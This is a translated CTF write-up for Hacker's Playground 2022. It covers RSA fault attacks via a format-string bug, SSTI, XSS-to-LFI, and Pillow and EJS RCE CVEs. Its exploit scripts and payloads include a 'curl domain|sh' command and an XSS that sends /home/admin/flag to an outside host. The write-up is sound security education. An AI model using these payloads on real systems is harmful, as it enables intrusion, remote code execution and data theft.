Hacker's Playground 2022 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
During the quarantine period, I participated in a 24-hour CTF organized by Samsung with TSJ and ended up in 6th place. Some of the challenges were quite interesting, so I decided to write a writeup.
[Pwn/Crypto] Secure Runner
By reversing the ELF file, we can see that it first generates an RSA key, and the public key is provided to you. Then, you can choose the signature of several pre-set commands. To execute a command, you need to input both the command and the corresponding signature.
Additionally, there is a hidden one-time-use format string attack with a length of only 4:
unsigned __int64 onechance()
{
int offset; // [rsp+4h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
char s[5]; // [rsp+13h] [rbp-Dh] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = heap;
if ( !usedFlag_5095 )
{
usedFlag_5095 = 1;
__isoc99_scanf("%d%*c", &offset);
v2 += offset;
fgets(s, 5, stdin);
if ( !strchr(s, 's') )
printf(s);
}
return __readfsqword(0x28u) ^ v4;
}
Here, heap
is a chunk on the heap, so you can have a heap address with an arbitrary offset on the stack for convenience. Since s
is banned, it means you can only write, not read.
The challenge uses GNU MP's mpz for big number calculations, which stores numbers on the heap. This means you can corrupt certain parts of the key by controlling the offset. The key itself is a struct, roughly formatted like this, with each being a 16-byte mpz, probably storing metadata and pointers:
0: p
16: q
32: n
64: e
80: d
96: dp
112: dq
128: p-1 後來變成 (q^-1 mod p)*q
144: q-1 後來變成 (p^-1 mod q)*p
The signature verification part directly checks if is the command to be executed, so if you change , you can exploit it.
Since the format string length is only 4, I calculated that the heap address index is 7, so the only possible way is %7$n
, setting certain four bytes to 0. This reminded me of the Fiercest challenge from this year's crypto CTF, so I brute-forced to see which bytes to modify to make it a prime number, making it simple.
from pwn import *
from Crypto.Util.number import *
# io = process("./SecureRunner")
io = remote("securerunner.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)
def find_flip(n):
for i in range(0, 2048, 8):
nn = n & ~(0xFFFFFFFF << i)
if isPrime(nn):
return nn, i // 8
raise Exception("Unlucky")
p, offset = find_flip(n)
print(p)
io.sendline(b"9999")
io.sendline(str(-0x880 + offset).encode())
io.sendline(b"%7$n")
io.sendline(b"2")
d = pow(e, -1, p - 1)
cmd = b"sh"
sig = pow(bytes_to_long(cmd), d, p)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{sm4LL_but_b1g_en0u9h_f4Ul7_to_br3ak_RSA_5c3829d4}
[Pwn/Crypto] Secure Runner 2
This challenge is similar to the previous one, but the signature verification part first calculates and then , instead of directly using the in the key.
Although you can corrupt or , it doesn't seem useful.
Additionally, the part where it signs predefined commands shows that it doesn't directly use but uses the RSA CRT signing method, reminding me of Fault attacks on RSA's signatures.
However, when generating the key, it also calculates , and before signing, it checks the integrity of these four values, so modifying and using CRT fault to gcd is not feasible.
But after some research, I found Modulus Fault Attacks Against RSA-CRT Signatures, which generates a fault in , resulting in . To use this method, you need the signature values and , which is achievable in this challenge.
This method is more complicated as it uses an orthogonal lattice attack, so implementation is not simple. I first implemented it according to the method:
from sage.all import *
from Crypto.Util.number import *
from itertools import combinations
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
dp = d % (p - 1)
dq = d % (q - 1)
crtp = pow(q, -1, p) * q
crtq = pow(p, -1, q) * p
# fault
n2 = n & ~0xFFFFFFFF
def crt_sign(m):
sp = pow(m, dp, p)
sq = pow(m, dq, q)
return (sp * crtp + sq * crtq) % n
def crt_sign_fault(m):
sp = pow(m, dp, p)
sq = pow(m, dq, q)
return (sp * crtp + sq * crtq) % n2
def get_v(m):
s1 = crt_sign(m)
s2 = crt_sign_fault(m)
return crt([s1, s2], [n, n2])
l = 5
vs = [ZZ(get_v(randint(2, n))) for _ in range(l)]
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1*M1.T).det()))
print(M1.change_ring(Zmod(100)))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L*L.T).det()))
print(L.change_ring(Zmod(100)))
LT = L.LLL()[:, -l:]
for z in LT:
d = vector(vs) - z
for t in d:
g = gcd(t, n)
if g != 1:
print("g", g)
print(n)
Then, I modified it and integrated it into the original pwn script:
from pwn import *
from sage.all import *
from Crypto.Util.number import *
# io = process("./SecureRunner2")
io = remote("eca189e9.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)
def factor(vs):
l = len(vs)
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1 * M1.T).det()))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L * L.T).det()))
LT = L.LLL()[:, -l:]
for z in LT:
d = vector(vs) - z
for t in d:
g = gcd(t, n)
if g != 1 and g < n:
return g
normal_sigs = []
fault_sigs = []
for i in range(5):
io.sendline(b"1")
io.sendline(str(i).encode())
io.sendline(b"3")
io.recvuntil(b"sign = ")
normal_sigs.append(int(io.recvline()))
io.sendline(b"9999")
io.sendline(str(-0x880).encode())
io.sendline(b"%7$n")
n2 = n & ~0xFFFFFFFF
for i in range(5):
io.sendline(b"1")
io.sendline(str(i).encode())
io.sendline(b"3")
io.recvuntil(b"sign = ")
fault_sigs.append(int(io.recvline()))
vs = [crt([x, y], [n, n2]) for x, y in zip(normal_sigs, fault_sigs)]
p = factor(vs)
q = n // p
assert p * q == n
d = power_mod(e, -1, (p - 1) * (q - 1))
cmd = b"sh"
sig = power_mod(bytes_to_long(cmd), d, n)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{RSA_mOdulu5_f4ult_1nj3t10n_4tTack_w1th_9R3A7_LLL}
There are some interesting unintended solutions in this challenge. Although it checks integrity with xor, it only does so during signing, so you can modify other parameters as long as you don't use the signing function. For the RSA key in the second challenge, it has these parameters:
0: p
16: q
32: n
48: e
64: d
80: dp
96: dq
112: p-1 後來變成 (q^-1 mod p)*q
128: q-1 後來變成 (p^-1 mod q)*p
144: p xor q xor dp xor dq
One method is to modify to get , then use option 0
to get , and xor with the original to get . However, the signature verification will use , so if is not easily factorable, it will be troublesome. But this can be handled by betting that is prime. If is not prime, just restart.
Another method is to modify the CRT coefficients and at offsets 112 and 128. Since we know the CRT RSA signing equation looks like this:
If we change the lsb of to get , then sign again to get another signature :
The difference between the two signatures:
If is covered using %7$n
, it can have at most possibilities. Additionally, we can adjust the offset forward (there is heap chunk padding, so it won't break other things) to make range only . After brute-forcing , subtract from and gcd to get .
[Crypto/Web] CUSES
The cookie is encrypted with AES CTR. Flipping the username from guest
to admin
gives the flag.
[Misc/Web] 5th degree
It gives a fifth-degree polynomial, and you need to find the maximum and minimum values within a given range. You need to solve 30 problems within a minute to get the flag.
Basically, using sage:
import re
import httpx
def solve(tex, lb, ub):
eq = re.sub(r"(\d)(x)", "\\1*\\2", tex.strip()).replace("^", "**")
print(eq)
P.<x> = ZZ[]
y = eval(eq.replace("y = ", ""))
ps = [x for x in y.diff().roots(multiplicities=False) if lb <= x <= ub]
ps = [lb] + ps + [ub]
ys = [y(x) for x in ps]
return min(ys), max(ys)
cli = httpx.Client(base_url="http://5thdegree.sstf.site/")
page = cli.get("/chal").text
for _ in range(30):
print("Round", re.search(r"Round (\d+)", page).group(1))
tex = re.search(r"\\\[(.*?)\\\]", page).group(1).strip()
print(tex)
m = re.search(r"\\\( ([\-0-9]+) \\le x \\le ([\-0-9]+) \\\)", page)
lb = int(m.group(1))
ub = int(m.group(2))
print(lb, ub)
mn, mx = solve(tex, lb, ub)
print(mn, mx)
print()
page = cli.post("/chal", data={"min": mn, "max": mx}).text
print(page)
# SCTF{I_w4nt_t0_l1v3_in_a_wOrld_w1thout_MATH}
[Web] Online Education
This challenge uses negative numbers to bypass some checks. Since re.match
only checks the beginning of the email, you can add some JS at the end to be executed by the html -> pdf tool, allowing LFI to leak config.py
and get the flask secret. Then, sign a new session to become admin and get the flag.
import httpx
xss = """
<script>
var xhr = new XMLHttpRequest
xhr.open('GET', 'file:///home/app/config.py', false)
xhr.send(null)
document.write(xhr.responseText)
</script>
"""
cli = httpx.Client(base_url="http://onlineeducation.sstf.site/", follow_redirects=False)
r = cli.post("/signin", data={"name": "peko", "email": "peko@gmail.com" + xss})
for i in range(3):
print(i)
cli.post("/status", json={"action": "start"})
cli.post("/status", json={"action": "finish", "rate": -1})
pdf = cli.get("cert").read()
with open("cert.pdf", "wb") as f:
f.write(pdf)
# secret_key 19eb794c831f30f099a31b1c095a17d6
# flask-unsign -S 19eb794c831f30f099a31b1c095a17d6 -s --cookie "{'email': 'peko@gmail.com', 'idx': 3, 'is_admin': True, 'name': 'peko'}"
# SCTF{oh_I_forgot_to_disable_javascript}
[Rev] FSC
This challenge has a simple C printf format string flag checker, but I don't know how to reverse such things, so I treated it as a black box.
By changing some input values, you can see it should be a matrix multiplication. It calculates by subtracting 1 from all inputs to get a vector , then uses a predefined matrix and vector .
The check part is to see if is 0. By changing some values, you can get the entire and , then solve it with sage.
The solution will show some incorrect values because the matrix kernel is non-zero. However, after finding the kernel, you will see some values are just a few indices becoming 128, so subtracting 128 from out-of-range values will get the flag.
Dump and :
#include <stdio.h>
#include <string.h>
#define F(X) "%"#X"$s"
#define O(X) "%"#X"$hhn"
#define R(V,X) "%2$"#V"d"O(X)
#define M(X) "%2$.*"#X"$d"
#define A(X) X X
#define T(X) A(X)A(X)
#define S(X) T(X)T(X)
#define TR(X) S(X)S(X)
#define I(X) TR(TR(X))
#define N I(O(5)F(5))
#define G "\033[2J\n%7$s\n";
unsigned char f[1337]={0,};
unsigned char oldf[1337]={0,};
char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R(
36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26)
R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33
)M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R(
88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48
)R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A(
M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154,
63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R
(66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F(
43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57
)F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F(
3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S(
F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G
#define fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\
f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\
[29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\
24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\
,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\
86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\
f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}"
int main(){
char out[10000];
// print a transposed matrix A (mod 256)
for(int k=0;k<30;k++){
memset(f, 0, sizeof(f));
sprintf(out,have,fun);
memcpy(oldf, f, sizeof(f));
memset(f, 0, sizeof(f));
f[k] = 2; // to observe changes
sprintf(out,have,fun);
printf("[");
for(int i=46;i<=104;i+=2){
printf("%d, ", f[i] - oldf[i]);
}
printf("],\n");
}
// print target vector
memset(f, 0, sizeof(f));
sprintf(out,have,fun);
for(int i=46;i<=104;i+=2){
// printf("%d: %d\n", i, f[i]);
printf("%d, ", f[i]);
}
puts("");
}
Solve:
A=matrix(Zmod(256),[[2, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],
[0, 2, 0, 0, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, ],
[1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],]).T
rhs=vector([112, 117, 20, 46, 124, 13, 108, 11, 188, 153, 184, 171, 9, 186, 99, 51, 249, 16, 118, 84, 188, 239, 24, 85, 47, 194, 170, 50, 156, 231])
sol=A.solve_right(-rhs)
print(bytes([x-128+1 if x>=128 else x+1 for x in sol]))
# SCTF{just_a_printf_is_enough!}
[Misc] Flip Puzzle
It's a game similar to the 15 puzzle, also 4x4. It starts from an initial state and randomly moves 11 steps. You need to return to the initial state within 11 steps to win a round, and you need to win 100 rounds to get the flag. The entire process must be completed within 50 seconds.
My approach is simple. Since is not large, I used DFS to search all possibilities and built a table to record the previous node for each node, using the shortest path relaxation concept.
Then, using the table to trace back to the starting point, the challenge is solved.
Build table:
board = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P".split(",")
board = [board[i : i + 4] for i in range(0, len(board), 4)]
print(board)
par = {}
def dfs(x, y, board, depth=0):
if depth == 11:
return
parhash = "".join(["".join(x) for x in board])
for dx, dy in [(0, +1), (0, -1), (+1, 0), (-1, 0)]:
xx = (x + dx) % 4
yy = (y + dy) % 4
board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
curhash = "".join(["".join(x) for x in board])
if curhash not in par or depth < par[curhash][2]:
par[curhash] = ((-dx, -dy), parhash, depth)
dfs(xx, yy, board, depth + 1)
board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
dfs(0, 0, board)
print(len(par))
print(board)
import pickle
with open("par.pkl", "wb") as f:
pickle.dump(par, f)
Solve:
from pwn import *
import pickle
from tqdm import tqdm
with open("par.pkl", "rb") as f:
# python bb.py
par = pickle.load(f)
def recvboard(io):
s = ""
for _ in range(4):
s += io.recvlineS().strip()
return s
# context.log_level = "debug"
# io = process(["python", "app.py"])
io = remote("flippuzzle.sstf.site", 8098)
for rnd in tqdm(range(100)):
io.recvuntil(b"Current Status :\n")
cur = recvboard(io)
dirs = []
for _ in range(11):
d, nxt, _ = par[cur]
dirs.append(d)
cur = nxt
if cur == "ABCDEFGHIJKLMNOP":
break
io.sendline("\n".join([",".join(map(str, x)) for x in dirs]).encode())
io.interactive()
# SCTF{what-is-your-favorite-algorithm_0x38dc129?}
[Web] OnlineNotepad
import os
import jinja2
import uvicorn
from pydantic import BaseModel, Field, validator
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates
app = FastAPI()
userinfo_path = "userinfo"
memo_path = "memo"
app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path])
userinfo_raw = """{%% set userid = "%s" %%}
{%% set password = "%s" %%}"""
memofile_raw = """<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{%% import userid+".j2" as user %%}
{%% if userid == user.userid %%}
{%% if password == user.password %%}
<h1>Hello {{ userid }}</h1>
<h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1>
{%% else %%}
<h1>Login Fail</h1>
{%% endif %%}
{%% else %%}
<h1>Login Fail</h1>
{%% endif %%}
</div>
</body>
</html>
"""
class Memo(BaseModel):
userid: str = Field(min_length=5, max_length=20)
password: str = Field(min_length=5, max_length=20)
memo: str = Field(min_length=1, max_length=64)
@validator("userid")
def val_userid(cls, v):
if v == "admin":
raise ValueError("access denied")
if v.isalnum() != True:
raise ValueError("userid cannot contain a special character")
return v
@validator("password")
def val_password(cls, v):
if ("\"" in v) or ("/" in v):
raise ValueError("password cannot contain a special character")
return v
@validator("memo")
def val_memo(cls, v):
if ("{{" in v) or ("}}" in v):
raise ValueError("memo cannot contain a special character")
return v
@app.post("/memo/")
async def write_memo(request:Request, memo:Memo):
global userinfo_path, memo_path
global userinfo_raw, memofile_raw
userinfo = userinfo_raw % (memo.userid, memo.password)
open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo)
memofile = memofile_raw % memo.memo
open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile)
return memo
@app.get("/memo/{userid}/{password}")
async def read_memo(request:Request, userid:str, password:str):
global userinfo_path, memo_path
try:
if (
(userid.isalnum() == True) and
os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and
os.path.exists( os.path.join(memo_path, userid+".html") )
):
return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password})
else:
return templates.TemplateResponse("readfail.html", {"request": request})
except Exception as e:
print(e)
return("Exception")
@app.get('/')
async def index(request:Request):
context = {"request":request}
return templates.TemplateResponse('index.html', context)
if __name__ == '__main__':
uvicorn.run(app, host="0.0.0.0", port=35547, headers=[("Server", "FastAPI")], log_level="info")
You can see it writes to a template and allows SSTI. Since raw
is injected with %s
, using endraw
+ raw
allows SSTI.
PS:
%%
in Python's%
formatting is the escape for%
, so it's not repeated%
.
To bypass the {{
}}
restriction, use {%set a=7*7%}
. However, the memo length is only 64, too short to RCE. A common trick is using flask's config.update(a=lipsum.__globals__)
to store some values, then access them later with config.a.os
, shortening the length. But config
is only available in the general render_template
environment, not in TemplateResponse
.
Later, I noticed password
is in the same environment and has no strict restrictions, so this payload is exactly 64 characters long:
{%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%}
Since the password
length limit is 20, you need a short enough domain for curl domain|sh
, so I let splitline handle it with a short domain.
Another method doesn't require a short domain, similar to the config
trick. The key is you can write multiple files with multiple accounts, then combine them using {%set a = ???%}
and {%include 'other.html'%}
.
For example, in p1.html
:
{%set a=lipsum%}{%include 'p2.html'%}
In p2.html
:
{%set b=a.__globals__%}{%include 'p3.html'%}
Then continue with p3.html
, p4.html
, etc., to bypass the length limit.
[Web] Imageium
This challenge is a service for channel-mixed images. You can get different images using the following URL with parameters:
http://imageium.sstf.site/dynamic/modified?mode=r%2Bg%2Bb
The challenge notes that it uses Pillow 8.2.0, and you can find CVE-2022-22817, which says PIL.ImageMath.eval
can directly RCE, so just inject something to get the flag:
http://imageium.sstf.site/dynamic/modified?mode=__import__(%27os%27).popen(%27cat%20secret/*%27).read()
Below are some unrelated side notes:
The initial patch for this CVE was Restrict builtins for ImageMath.eval. Those familiar with pyjail can see it's easily bypassed with lambda, so there should be another CVE...?
Later, I found that in version 9.1.0 and later, they used Restrict builtins within lambdas for ImageMath.eval to recursively check co_names
, and I couldn't find a way to bypass it, so it should be safe.
[Web] JWT Decoder
const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;
app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
let rawJwt = req.cookies.jwt || {};
try {
let jwtPart = rawJwt.split('.');
let jwtHeader = jwtPart[0];
jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
jwtHeader = JSON.parse(jwtHeader);
jwtHeader = JSON.stringify(jwtHeader, null, 4);
rawJwt = {
header: jwtHeader
}
let jwtBody = jwtPart[1];
jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
jwtBody = JSON.parse(jwtBody);
jwtBody = JSON.stringify(jwtBody, null, 4);
rawJwt.body = jwtBody;
let jwtSignature = jwtPart[2];
rawJwt.signature = jwtSignature;
} catch(error) {
if (typeof rawJwt === 'object') {
rawJwt.error = error;
} else {
rawJwt = {
error: error
};
}
}
res.render('index', rawJwt);
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something wrong!');
});
app.listen(PORT, (err) => {
console.log(`Server is Running on Port ${PORT}`);
});
It only decodes the JWT and reformats it, with no visible vulnerabilities. Although res.render('index', rawJwt);
reminds me of echo and echo2, the JWT decoding method shouldn't allow controlling other options...?
Of course, the inability to control other options is wrong, or the challenge would be unsolvable. The key is in let rawJwt = req.cookies.jwt || {};
, because express cookie supports a JSON cookie feature. When encountering j:{"a": 123}
, it tries to decode it, so rawJwt
can be your object. The split
will cause an exception, but it will be caught, allowing your payload to pass through.
After some research, I found CVE-2022-29078, and a quick Google search provided an exploit, allowing RCE:
curl 'http://jwtdecoder.sstf.site' --cookie 'jwt=j:{"settings":{"view options":{"outputFunctionName":"a=process.mainModule.require(\"child_process\").execSync(\"SHELL COMMAND\")%3Bb"}}}'
[Web] Datascience Class
This challenge has a Jupyter Hub service where you can register and log in, meaning you can execute commands on the server. However, registration seems to create a new Linux user with its own home directory. The challenge has two accounts, admin
and sub-admin
, with the flag in /home/admin/flag
, but we don't have permission to read it.
Additionally, the challenge has an XSS bot that periodically visits each user's assignment.ipynb
page, so you can place some JavaScript to gather information. After testing, I found the XSS bot user is sub-admin
, so I thought of changing sub-admin
's password to log in and see if I can get the admin
flag.
However, while I was doing this, seadog007 had already stolen the flag from another team using pspy XDDD, so I didn't continue.
After the competition, I learned that sub-admin
and admin
are in the same group, so you can read the flag with a shell, but not through the notebook API /user/admin/api/contents/flag
.
Here is someone else's payload, not changing the password but using WebSocket:
fetch("http://datasciencecls.sstf.site/user/sub-admin/api/terminals",{method: 'POST', headers:{"X-XSRFToken":document.cookie.slice(6)}});
ws = new WebSocket("ws://datasciencecls.sstf.site/user/sub-admin/terminals/websocket/1");
ws.addEventListener('open', (event) => {
ws.send('["stdin","curl http://xxx/flag?testnw`whoami` -d@/home/admin/flag\\r"]')
})
Additionally, Jupyter Notebook allows direct HTML:
%%html
<img src=x onerror="some javascript">
But the onerror
content may disappear after saving and refreshing (though it might work sometimes...), requiring manual execution of the cell. This seems to be some sanitization. After the competition, I saw someone bypassing it with this method:
%%html
<select><iframe></select><img src=x: onerror="some javascript">
Later, I learned this is CVE-2021-32798. Jupyter treats loaded HTML as untrusted, so it tries to sanitize it.
My payload:
%%html
<select><iframe></select><img src=x: onerror="import('https://webhook.site/SOME_UUID')">
Webhook response:
fetch('/hub/change-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'password=NEWPASSWORD'}).then(r=>r.text()).catch(err=>err.message).then(t=>fetch('https://webhook.site/SOME_UUID',{method:'POST',body:t}))
Then, log in with sub-admin/NEWPASSWORD
and !cat /home/admin/flag
to get the flag: SCTF{I_want_t0_b3_data_speciai1ist}
.